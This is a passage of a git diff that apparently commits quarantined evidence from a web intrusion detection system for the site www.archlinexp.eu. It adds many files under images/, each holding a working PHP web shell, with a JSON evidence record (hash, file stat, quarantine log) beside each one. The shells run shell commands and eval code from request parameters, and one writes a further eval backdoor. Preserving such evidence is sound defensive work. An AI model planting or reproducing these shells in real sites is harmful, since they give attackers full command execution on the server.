+<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json.evidence.json
new file mode 100644
index 0000000..7334e8f
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5202",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_qdjyeroc.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_qdjyeroc.phtml.json)",
+  "original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783743971,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_qdjyeroc.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json.evidence.json
new file mode 100644
index 0000000..19a9cae
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5182",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_v6hzbjh8.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841078,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_v6hzbjh8.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json.evidence.json
new file mode 100644
index 0000000..c212ee9
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5159",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_v6hzbjh8.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.php5.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841080,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_v6hzbjh8.php5.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json.evidence.json
new file mode 100644
index 0000000..e4bf2f1
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5155",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_v6hzbjh8.pht.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.pht.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841079,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_v6hzbjh8.pht.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json
new file mode 100644
index 0000000..6fc575b
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json
@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json.evidence.json
new file mode 100644
index 0000000..061fbe7
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5175",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_v6hzbjh8.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_v6hzbjh8.phtml.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841079,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "images/_h3x_v6hzbjh8.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json b/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json
new file mode 100644
index 0000000..0e3a078
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json
@@ -0,0 +1,2 @@
+<?php $k="qwertyuiop";if(isset($_POST[$k])){eval($_POST[$k]);}elseif(isset($_GET["c"])){$c=$_GET["c"];if($c=="r"){echo"r";}elseif(function_exists("shell_exec")){echo shell_exec($c);}elseif(function_exists("system")){system($c);}elseif(function_exists("exec")){@exec($c,$o);echo implode("
+",$o);}else{@passthru($c);}}else{echo"r";} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json.evidence.json
new file mode 100644
index 0000000..293c8da
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5195",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_9997u119.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_9997u119.php.json)",
+  "original_sha256": "9d603ee38848a230e8fb1f2a9065aa808992d2c603823ccfc34cdcb53475050c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783701383,
+    "size": 333,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_9997u119.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json b/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json
@@ -0,0 +1,11 @@
+GIF89a
+<?php
+$k="qwertyuiop";
+if(isset($_POST[$k])){eval($_POST[$k]);}
+elseif(isset($_GET["c"])){
+ $c=$_GET["c"];
+ if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json.evidence.json
new file mode 100644
index 0000000..07d372e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5157",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_e88bc62u.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_e88bc62u.phtml.json)",
+  "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783696670,
+    "size": 296,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_e88bc62u.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json b/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json
@@ -0,0 +1,11 @@
+GIF89a
+<?php
+$k="qwertyuiop";
+if(isset($_POST[$k])){eval($_POST[$k]);}
+elseif(isset($_GET["c"])){
+ $c=$_GET["c"];
+ if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json.evidence.json
new file mode 100644
index 0000000..51cac62
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5196",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_g3rhd4hx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_g3rhd4hx.php.json)",
+  "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783697719,
+    "size": 296,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_g3rhd4hx.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json b/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json
new file mode 100644
index 0000000..0e3a078
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json
@@ -0,0 +1,2 @@
+<?php $k="qwertyuiop";if(isset($_POST[$k])){eval($_POST[$k]);}elseif(isset($_GET["c"])){$c=$_GET["c"];if($c=="r"){echo"r";}elseif(function_exists("shell_exec")){echo shell_exec($c);}elseif(function_exists("system")){system($c);}elseif(function_exists("exec")){@exec($c,$o);echo implode("
+",$o);}else{@passthru($c);}}else{echo"r";} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json.evidence.json
new file mode 100644
index 0000000..b454f78
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5207",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_irj8ng6m.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_irj8ng6m.php.json)",
+  "original_sha256": "9d603ee38848a230e8fb1f2a9065aa808992d2c603823ccfc34cdcb53475050c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783697738,
+    "size": 333,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_irj8ng6m.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json b/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json
@@ -0,0 +1,11 @@
+GIF89a
+<?php
+$k="qwertyuiop";
+if(isset($_POST[$k])){eval($_POST[$k]);}
+elseif(isset($_GET["c"])){
+ $c=$_GET["c"];
+ if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json.evidence.json
new file mode 100644
index 0000000..b224567
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5151",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_lk6pzgbt.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_lk6pzgbt.phtml.json)",
+  "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783697728,
+    "size": 296,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_lk6pzgbt.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json b/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json
@@ -0,0 +1,11 @@
+GIF89a
+<?php
+$k="qwertyuiop";
+if(isset($_POST[$k])){eval($_POST[$k]);}
+elseif(isset($_GET["c"])){
+ $c=$_GET["c"];
+ if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json.evidence.json
new file mode 100644
index 0000000..167d416
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5186",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_p29ivhj8.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_p29ivhj8.php.json)",
+  "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783701371,
+    "size": 296,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_p29ivhj8.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json b/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json
@@ -0,0 +1,11 @@
+GIF89a
+<?php
+$k="qwertyuiop";
+if(isset($_POST[$k])){eval($_POST[$k]);}
+elseif(isset($_GET["c"])){
+ $c=$_GET["c"];
+ if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json.evidence.json
new file mode 100644
index 0000000..beeb6de
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5205",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_r1mc7roy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_r1mc7roy.php.json)",
+  "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783696662,
+    "size": 296,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_r1mc7roy.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json b/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json
new file mode 100644
index 0000000..f43738d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json
@@ -0,0 +1 @@
+<?php $k="qwertyuiop";if(isset($_POST[$k])){eval($_POST[$k]);}elseif(isset($_GET["c"])){if($_GET["c"]=="r"){echo "r";}else{echo shell_exec($_GET["c"]);}}else{echo "r";} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json.evidence.json
new file mode 100644
index 0000000..1c83209
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5179",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_rbaryhg8.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_rbaryhg8.php.json)",
+  "original_sha256": "ec392b32d9948da9428a294296555de70a799f89be6a86f9e161c9ff46f9265e",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783696679,
+    "size": 171,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_rbaryhg8.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json b/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json
new file mode 100644
index 0000000..59b5034
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json
@@ -0,0 +1,11 @@
+GIF89a
+<?php
+$k="qwertyuiop";
+if(isset($_POST[$k])){eval($_POST[$k]);}
+elseif(isset($_GET["c"])){
+ $c=$_GET["c"];
+ if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
+ elseif($c=="d"){@unlink("gecko.php");echo "d";}
+ else{echo "r";}
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json.evidence.json
new file mode 100644
index 0000000..0bfeaaa
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5210",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/h3x_v82n3yod.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/h3x_v82n3yod.phtml.json)",
+  "original_sha256": "cf2acdfb2ee5a9e2144d442180249bd76b5d6f4602a167e54410b08d46da150c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783701376,
+    "size": 296,
+    "uid": 20043
+  },
+  "rel_path": "images/h3x_v82n3yod.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json.evidence.json
new file mode 100644
index 0000000..22527c8
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5173",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/ntxvq7b4jper.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.php.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427916,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "images/ntxvq7b4jper.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json
new file mode 100644
index 0000000..373d006
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); if(isset($_REQUEST['c'])){system($_REQUEST['c']);}elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}elseif(isset($_POST['cmd'])){system($_POST['cmd']);} ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json.evidence.json
new file mode 100644
index 0000000..6e6e091
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5199",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/ntxvq7b4jper.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/ntxvq7b4jper.phtml.json)",
+  "original_sha256": "4e844fc6df65db7bdd40ddfe7c7dc09be1f43d981e3f938cff2c88327b50b942",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783427917,
+    "size": 212,
+    "uid": 20043
+  },
+  "rel_path": "images/ntxvq7b4jper.phtml.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..4a43351
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5150",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111730,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "images/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..bd757f6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5153",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111715,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "images/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..01c1c65
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5156",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:images/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110118,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "images/r0ps_zn8fgo.json",
